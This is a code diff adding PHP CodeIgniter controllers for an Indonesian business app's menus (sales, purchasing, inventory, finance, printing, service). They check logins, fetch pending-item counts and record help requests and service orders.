$datDsav = $this->Visit->getData_DaftarSalesVisit_bySAV_orderDESC_limit1($key['ID_SAV']);
if ($datDsav==FALSE) {
$ket = NULL;
$status = NULL;
} else {
$ket = $datDsav[0]['KET_DSAV'];
$status = $datDsav[0]['STATUS_DSAV'];
}
$visit[$no] += ['KET' => $ket];
$visit[$no++] += ['STATUS' => $status];
}
if ($id_karyawan==0) {
$judul = "Semua Sales";
} else {
$datKaryawan = $this->Visit->getData_Karyawan_byID($id_karyawan);
$judul = $datKaryawan[0]['NAMA_PANGGILAN_KARYAWAN'];
}
$data = [
'sidebar' => "menu visitsales",
'navChild' => "visit rekaplaporan",
'id_karyawan' => $id_karyawan,
'visit' => $visit,
'judul' => $judul,
];
$this->load->view('proses/VisitRekap_Sales_A2', $data);
}
}
@@ -0,0 +1,67 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuBantuan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelSetData', 'Setdata');
$this->load->model('ModelBantuan', 'Bantuan');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$jabatan = $this->session->userdata('jabatan');
$tgl = date('Y-m-d');
$data = array(
'sidebar' => "menu bantuan",
'navChild' => "",
'id' => $id_setdata,
'jabatan' => $jabatan,
'tgl' => $tgl,
);
$this->load->view('menu/Bantuan', $data);
}
public function tambahlapor_AA1() {
$id_bantuan = $this->input->post('id');
$jenis_bantuan = $this->input->post('jenis_bantuan');
$ket_bantuan = $this->input->post('ket_bantuan');
$id_karyawan = $this->session->userdata('id_karyawan');
$tgl = date('Y-m-d');
$input = [
'TGL_BANTUAN' => $tgl,
'JENIS_BANTUAN' => $jenis_bantuan,
'KET_BANTUAN' => $ket_bantuan,
'KARYAWAN_ID' => $id_karyawan
];
$action = $this->Setdata->create('bantuan', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
}
}
}
@@ -0,0 +1,79 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuBeli extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelPembelian', 'Pembelian');
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('ModelSetData', 'Setdata');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$username = $this->session->userdata('username');
$jabatan = $this->session->userdata('jabatan');
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$countPembelian1 = $this->Pembelian->getCount_Pembelian_Null();
$countPembelian2 = $this->Pembelian->getCount_Pembelian_0();
$countPembelian3 = $this->Pembelian->getCount_Pembelian_forRetur();
$countPembelian4 = $this->Pembelian->getCount_ReturPembelian_0();
$countPembelian5 = $this->Pembelian->getCount_Pembelian_0();
$countPembelian6 = $this->Pembelian->getCount_Pembelian_forRevisi();
$countPembelian7 = $this->Pembelian->getCount_ReturPembelian_0();
$countPembelian8 = $this->Pembelian->getCount_Pembelian_1();
$data = array(
'sidebar' => "menu pembelian",
'navChild' => "",
'id' => $id_setdata,
'count1' => $countPembelian1,
'count2' => $countPembelian2,
'count3' => $countPembelian3,
'count4' => $countPembelian4,
'count5' => $countPembelian5,
'count6' => $countPembelian6,
'count7' => $countPembelian7,
'count8' => $countPembelian8
);
$this->load->view('menu/Beli', $data);
}
public function get_count() {
$countPembelian1 = $this->Pembelian->getCount_Pembelian_Null();
$countPembelian2 = $this->Pembelian->getCount_Pembelian_0();
$countPembelian3 = $this->Pembelian->getCount_Pembelian_forRetur();
$countPembelian4 = $this->Pembelian->getCount_ReturPembelian_0();
$countPembelian5 = $this->Pembelian->getCount_Pembelian_0();
$countPembelian6 = $this->Pembelian->getCount_Pembelian_forRevisi();
$countPembelian7 = $this->Pembelian->getCount_ReturPembelian_0();
$countPembelian8 = $this->Pembelian->getCount_Pembelian_1();
$data = array(
'count1' => $countPembelian1,
'count2' => $countPembelian2,
'count3' => $countPembelian3,
'count4' => $countPembelian4,
'count5' => $countPembelian5,
'count6' => $countPembelian6,
'count7' => $countPembelian7,
'count8' => $countPembelian8
);
$this->output_json($data);
}
}
@@ -0,0 +1,86 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuCetak extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelSetData', 'Setdata');
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('ModelCetak', 'Cetak');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$jabatan = $this->session->userdata('jabatan');
$tgl = date('m/d/Y');
$count1 = $this->Cetak->getCount_CetakDokumen_SJPenjualan();
$count2 = $this->Cetak->getCount_CetakDokumen_SJKonsinyasi();
$count3 = $this->Cetak->getCount_CetakDokumen_SJSewa();
$count4 = $this->Cetak->getCount_CetakDokumen_SJPenarikanKonsi();
$count5 = $this->Cetak->getCount_CetakDokumen_SJPenarikanSewa();
$count6 = $this->Cetak->getCount_CetakDokumen_NotaPenjualan();
$count7 = $this->Cetak->getCount_CetakDokumen_ReturBeli();
$count8 = $this->Cetak->getCount_CetakDokumen_Proforma();
$count9 = $this->Cetak->getCount_CetakDokumen_SJParsial();
$data = array(
'sidebar' => "menu cetak",
'navChild' => "",
'id' => $id_setdata,
'jabatan' => $jabatan,
'tgl' => $tgl,
'count1' => $count1,
'count2' => $count2,
'count3' => $count3,
'count4' => $count4,
'count5' => $count5,
'count6' => $count6,
'count7' => $count7,
'count8' => $count8,
'count9' => $count9
);
$this->load->view('menu/Cetak', $data);
}
public function get_count() {
$count1 = $this->Cetak->getCount_CetakDokumen_SJPenjualan();
$count2 = $this->Cetak->getCount_CetakDokumen_SJKonsinyasi();
$count3 = $this->Cetak->getCount_CetakDokumen_SJSewa();
$count4 = $this->Cetak->getCount_CetakDokumen_SJPenarikanKonsi();
$count5 = $this->Cetak->getCount_CetakDokumen_SJPenarikanSewa();
$count6 = $this->Cetak->getCount_CetakDokumen_NotaPenjualan();
$count7 = $this->Cetak->getCount_CetakDokumen_ReturBeli();
$count8 = $this->Cetak->getCount_CetakDokumen_Proforma();
$count9 = $this->Cetak->getCount_CetakDokumen_SJParsial();
$data = array(
'count1' => $count1,
'count2' => $count2,
'count3' => $count3,
'count4' => $count4,
'count5' => $count5,
'count6' => $count6,
'count7' => $count7,
'count8' => $count8,
'count9' => $count9
);
$this->output_json($data);
}
}
@@ -0,0 +1,71 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuInformasi extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelSetData', 'Setdata');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$username = $this->session->userdata('username');
$jabatan = $this->session->userdata('jabatan');
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$yearNow = date('Y');
$monthNow = date('m');
if ($monthNow=="01") {
$namaBulan = "Januari";
} else if ($monthNow=="02") {
$namaBulan = "Februari";
} else if ($monthNow=="03") {
$namaBulan = "Maret";
} else if ($monthNow=="04") {
$namaBulan = "April";
} else if ($monthNow=="05") {
$namaBulan = "Mei";
} else if ($monthNow=="06") {
$namaBulan = "Juni";
} else if ($monthNow=="07") {
$namaBulan = "Juli";
} else if ($monthNow=="08") {
$namaBulan = "Agustus";
} else if ($monthNow=="09") {
$namaBulan = "September";
} else if ($monthNow=="10") {
$namaBulan = "Oktober";
} else if ($monthNow=="11") {
$namaBulan = "November";
} else if ($monthNow=="12") {
$namaBulan = "Desember";
}
$tanggal_sekarang = "$namaBulan $yearNow";
$data = array(
'sidebar' => "menu informasi",
'navChild' => "",
'id' => $id_setdata,
'tanggal_sekarang' => $tanggal_sekarang,
'tahun_sekarang' => $yearNow
);
$this->load->view('menu/Informasi', $data);
}
}
@@ -0,0 +1,99 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuJual extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelPenjualan', 'Penjualan');
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('ModelSetData', 'Setdata');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$id_karyawan = $this->session->userdata('id_karyawan');
$count1 = $this->Penjualan->getCount_SalesOrder_Null($id_karyawan);
$count2 = $this->Penjualan->getCount_SalesOrder_Null_0_2_3_4_6_7();
$count3 = $this->Penjualan->getCount_SalesOrder_0_3_4_6_7_8();
$count4 = $this->Penjualan->getCount_Penjualan_1();
$count5 = $this->Penjualan->getCount_ReturPenjualan_0();
$count6 = $this->Penjualan->getCount_SalesOrder_Not1_Not5($id_karyawan);
$count7 = $this->Penjualan->getCount_ReturPenjualan_0();
$count8 = $this->Penjualan->getCount_Penjualan_1();
$count9 = $this->Penjualan->getCount_SalesOrder_4();
$count10 = $this->Penjualan->getCount_SalesOrder_Not5_KirimNull();
$data = array(
'sidebar' => "menu penjualan",
'navChild' => "",
'id' => $id_setdata,
'count1' => $count1,
'count2' => $count2,
'count3' => $count3,
'count4' => $count4,
'count5' => $count5,
'count6' => $count6,
'count7' => $count7,
'count8' => $count8,
'count9' => $count9,
'count10' => $count10
);
$this->load->view('menu/Jual', $data);
}
public function dashboard()
{
$id_karyawan = $this->session->userdata('id_karyawan');
$jabatan = $this->session->userdata('jabatan');
$data = array(
'sidebar' => "dashboard",
'navChild' => "",
);
$this->load->view('index', $data);
}
public function get_count() {
$tgl = date('m/01/Y');
$id_karyawan = $this->session->userdata('id_karyawan');
$count1 = $this->Penjualan->getCount_SalesOrder_Null($id_karyawan);
$count2 = $this->Penjualan->getCount_SalesOrder_Null_0_2_3_4_6_7();
$count3 = $this->Penjualan->getCount_SalesOrder_0_3_4_6_7_8();
$count4 = $this->Penjualan->getCount_Penjualan_1();
$count5 = $this->Penjualan->getCount_ReturPenjualan_0();
$count6 = $this->Penjualan->getCount_SalesOrder_Not1_Not5($id_karyawan);
$count7 = $this->Penjualan->getCount_ReturPenjualan_0();
$count8 = $this->Penjualan->getCount_Penjualan_1();
$count9 = $this->Penjualan->getCount_SalesOrder_4();
$count10 = $this->Penjualan->getCount_SalesOrder_Not5_KirimNull();
$data = array(
'count1' => $count1,
'count2' => $count2,
'count3' => $count3,
'count4' => $count4,
'count5' => $count5,
'count6' => $count6,
'count7' => $count7,
'count8' => $count8,
'count9' => $count9,
'count10' => $count10
);
$this->output_json($data);
}
}
@@ -0,0 +1,71 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuKeuangan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelKeuangan', 'Keuangan');
$this->load->model('ModelSetData', 'Setdata');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$jabatan = $this->session->userdata('jabatan');
$count1 = $this->Keuangan->getCount_Kasbank_Kas_Null();
$count2 = $this->Keuangan->getCount_Kasbank_Bank_Null();
$count3 = $this->Keuangan->getCount_JurnalMemo();
$data = array(
'sidebar' => "menu keuangan",
'navChild' => "",
'id' => $id_setdata,
'jabatan' => $jabatan,
'count1' => $count1,
'count2' => $count2,
'count3' => $count3
);
$this->load->view('menu/Keuangan', $data);
}
public function dashboard()
{
$id_karyawan = $this->session->userdata('id_karyawan');
$jabatan = $this->session->userdata('jabatan');
$data = array(
'sidebar' => "dashboard",
'navChild' => "",
);
$this->load->view('index', $data);
}
public function get_count() {
$tgl = date('m/01/Y');
$id_karyawan = $this->session->userdata('id_karyawan');
$count1 = $this->Keuangan->getCount_Kasbank_Kas_Null();
$count2 = $this->Keuangan->getCount_Kasbank_Bank_Null();
$count3 = $this->Keuangan->getCount_JurnalMemo();
$data = array(
'count1' => $count1,
'count2' => $count2,
'count3' => $count3
);
$this->output_json($data);
}
}
@@ -0,0 +1,51 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuKonfigurasi extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelSetData', 'Setdata');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$jabatan = $this->session->userdata('jabatan');
$data = array(
'sidebar' => "menu konfigurasi",
'navChild' => "",
'id' => $id_setdata,
'jabatan' => $jabatan,
);
$this->load->view('menu/Konfigurasi', $data);
}
public function dashboard()
{
$id_karyawan = $this->session->userdata('id_karyawan');
$jabatan = $this->session->userdata('jabatan');
$data = array(
'sidebar' => "dashboard",
'navChild' => "",
);
$this->load->view('index', $data);
}
}
@@ -0,0 +1,71 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuLaporan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelSetData', 'Setdata');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$username = $this->session->userdata('username');
$jabatan = $this->session->userdata('jabatan');
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$yearNow = date('Y');
$monthNow = date('m');
if ($monthNow=="01") {
$namaBulan = "Januari";
} else if ($monthNow=="02") {
$namaBulan = "Februari";
} else if ($monthNow=="03") {
$namaBulan = "Maret";
} else if ($monthNow=="04") {
$namaBulan = "April";
} else if ($monthNow=="05") {
$namaBulan = "Mei";
} else if ($monthNow=="06") {
$namaBulan = "Juni";
} else if ($monthNow=="07") {
$namaBulan = "Juli";
} else if ($monthNow=="08") {
$namaBulan = "Agustus";
} else if ($monthNow=="09") {
$namaBulan = "September";
} else if ($monthNow=="10") {
$namaBulan = "Oktober";
} else if ($monthNow=="11") {
$namaBulan = "November";
} else if ($monthNow=="12") {
$namaBulan = "Desember";
}
$tanggal_sekarang = "$namaBulan $yearNow";
$data = array(
'sidebar' => "menu laporan",
'navChild' => "",
'id' => $id_setdata,
'tanggal_sekarang' => $tanggal_sekarang,
'tahun_sekarang' => $yearNow
);
$this->load->view('menu/Laporan', $data);
}
}
@@ -0,0 +1,47 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class MenuMaster extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index()
{
$username = $this->session->userdata('username');
$jabatan = $this->session->userdata('jabatan');
$data = array(
'sidebar' => "master data",
'navChild' => "",
'jabatan' => $jabatan,
'username' => $username
);
$this->load->view('menu/Master', $data);
}
public function dashboard()
{
$id_karyawan = $this->session->userdata('id_karyawan');
$jabatan = $this->session->userdata('jabatan');
$data = array(
'sidebar' => "dashboard",
'navChild' => "",
);
$this->load->view('index', $data);
}
}
@@ -0,0 +1,90 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuPersediaan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('AbsensiModel', 'AbsensiM');
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('ModelPersediaan', 'Persediaan');
$this->load->model('ModelSetData', 'Setdata');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$count1 = $this->Persediaan->getCount_Operasional_Null_0();
$count2 = $this->Persediaan->getCount_Konsinyasi_Null_0();
$count3 = $this->Persediaan->getCount_Konsinyasi_0();
$count4 = $this->Persediaan->getCount_Peminjaman_Null_0();
$count5 = $this->Persediaan->getCount_Pending_Null();
$count6 = $this->Persediaan->getCount_Proyek_Null_0();
$count7 = $this->Persediaan->getCount_Service_Null_0();
$count8 = $this->Persediaan->getCount_Sewa_Null_0();
$data = array(
'sidebar' => "menu persediaan",
'navChild' => "",
'id' => $id_setdata,
'count1' => $count1,
'count2' => $count2,
'count3' => $count3,
'count4' => $count4,
'count5' => $count5,
'count6' => $count6,
'count7' => $count7,
'count8' => $count8
);
$this->load->view('menu/Persediaan', $data);
}
public function dashboard()
{
$id_karyawan = $this->session->userdata('id_karyawan');
$jabatan = $this->session->userdata('jabatan');
$data = array(
'sidebar' => "dashboard",
'navChild' => "",
);
$this->load->view('index', $data);
}
public function get_count() {
$tgl = date('m/01/Y');
$count1 = $this->Persediaan->getCount_Operasional_Null_0();
$count2 = $this->Persediaan->getCount_Konsinyasi_Null_0();
$count3 = $this->Persediaan->getCount_Konsinyasi_0();
$count4 = $this->Persediaan->getCount_Peminjaman_Null_0();
$count5 = $this->Persediaan->getCount_Pending_Null();
$count6 = $this->Persediaan->getCount_Proyek_Null_0();
$count7 = $this->Persediaan->getCount_Service_Null_0();
$count8 = $this->Persediaan->getCount_Sewa_Null_0();
$data = array(
'count1' => $count1,
'count2' => $count2,
'count3' => $count3,
'count4' => $count4,
'count5' => $count5,
'count6' => $count6,
'count7' => $count7,
'count8' => $count8
);
$this->output_json($data);
}
}
@@ -0,0 +1,152 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class MenuService extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelBrgsv', 'Brgsv');
$this->load->model('ModelPelanggan', 'Pelanggan');
$this->load->model('ModelSetData', 'Setdata');
$this->load->model('ModelService', 'Service');
$this->load->model('ModelDashboard', 'Dashboard');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin()
{
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$id_setdata = $this->Setdata->getIDSETDATA();
$id_setdata = $id_setdata[0]['ID_SETDATA'];
$jabatan = $this->session->userdata('jabatan');
$datPelanggan = $this->Pelanggan->getData_Pelanggan();
$datBrgsv = $this->Brgsv->getData_Brgsv();
$tgl = date('Y-m-d');
$count1 = $this->Service->getCount_CetakDokumen_Service();
$count2 = $this->Service->getCount_Service_0();
$count3 = $this->Service->getCount_KlaimService_0_2();
$count4 = $this->Service->getCount_OrderService_NonDATANG();
$data = array(
'sidebar' => "menu service",
'navChild' => "",
'id' => $id_setdata,
'jabatan' => $jabatan,
'tgl' => $tgl,
'pelanggan' => $datPelanggan,
'brgsv' => $datBrgsv,
'count1' => $count1,
'count2' => $count2,
'count3' => $count3,
'count4' => $count4
);
$this->load->view('menu/Service', $data);
}
public function get_count() {
$count1 = $this->Service->getCount_CetakDokumen_Service();
$count2 = $this->Service->getCount_Service_0();
$count3 = $this->Service->getCount_KlaimService_0_2();
$count4 = $this->Service->getCount_OrderService_NonDATANG();
$data = array(
'count1' => $count1,
'count2' => $count2,
'count3' => $count3,
'count4' => $count4
);
$this->output_json($data);
}
public function kodeService() {
$kk = $this->Setdata->getKode_Service();
if (is_array($kk) || is_object($kk)) {
foreach ($kk as $row) {
if ($row['KODE'] == null) {
return "SRV-000001";
} else {
$str = (string) $row['KODE'];
$panjang = 6;
$data = substr($str, 4, $panjang);
$ko = (int) $data + 1;
$str = (string) $ko;
$panjang = 10 - strlen($str);
$data = "SRV-000000";
$data = substr($data, 0, $panjang) . $str;
return $data;
}
}
}
}
public function tambahservice_SvA1() {
$id_service = $this->input->post('id');
$id_pelanggan = $this->input->post('id_pelanggan');
$tgl_service = $this->input->post('tgl_service');
$id_brgsv = $this->input->post('id_brgsv');
$nama_sns = $this->input->post('nama_sns');
$kel_sns = $this->input->post('kel_sns');
$ket_sns = $this->input->post('ket_sns');
$id_karyawan = $this->session->userdata('id_karyawan');
$kode_service = $this->kodeService();
$tgl = date('Y-m-d');
if (strtotime($tgl_service)>strtotime($tgl)) {
$this->session->set_flashdata('date_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$nama_sns = strtoupper($nama_sns);
$input = [
'TGL_SERVICE' => $tgl_service,
'KODE_SERVICE' => $kode_service,
'PELANGGAN_ID' => $id_pelanggan,
'JENIS_SERVICE' => '1',
'PENERIMA_ID' => $id_karyawan,
'STATUS_SERVICE'=> '0'
];
$action = $this->Setdata->create('service', $input);
$id_service = $this->Setdata->getID_ServiceMax();
$id_service = $id_service[0]['ID_SERVICE'];
$input = [
'SERVICE_ID' => $id_service,
'BRGSV_ID' => $id_brgsv,
'NAMA_SNS' => $nama_sns,
'KEL_SNS' => $kel_sns,
'KET_SNS' => $ket_sns
];
$action = $this->Setdata->create('sn_service', $input);
$input = [
'SERVICE_ID' => $id_service,
'KODE_BUKTI' => $kode_service,
'SJ_INV' => '0'
];
$action = $this->Setdata->create('cetak_dokumen', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
}
}
}